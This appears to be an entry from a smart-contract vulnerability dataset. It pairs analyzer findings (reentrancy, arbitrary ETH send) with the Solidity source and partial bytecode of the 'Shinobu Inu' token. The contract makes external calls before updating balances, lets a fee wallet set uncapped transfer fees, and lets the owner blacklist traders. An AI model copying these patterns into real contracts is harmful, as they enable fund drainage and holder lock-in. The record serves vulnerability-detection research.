{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,706 |
0x9E7e2e881fDc4308aC56F911f5AC5aedcb6b6ffa
|
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Shinobu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0x01f46aFF768bda5a07216128EA3EE58Bd86EceaC);
address payable private _feeAddrWallet2 = payable(0x01f46aFF768bda5a07216128EA3EE58Bd86EceaC);
string private constant _name = "Shinobu Inu";
string private constant _symbol = "SHINOBU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600b81526020017f5368696e6f627520496e75000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5348494e4f425500000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b282613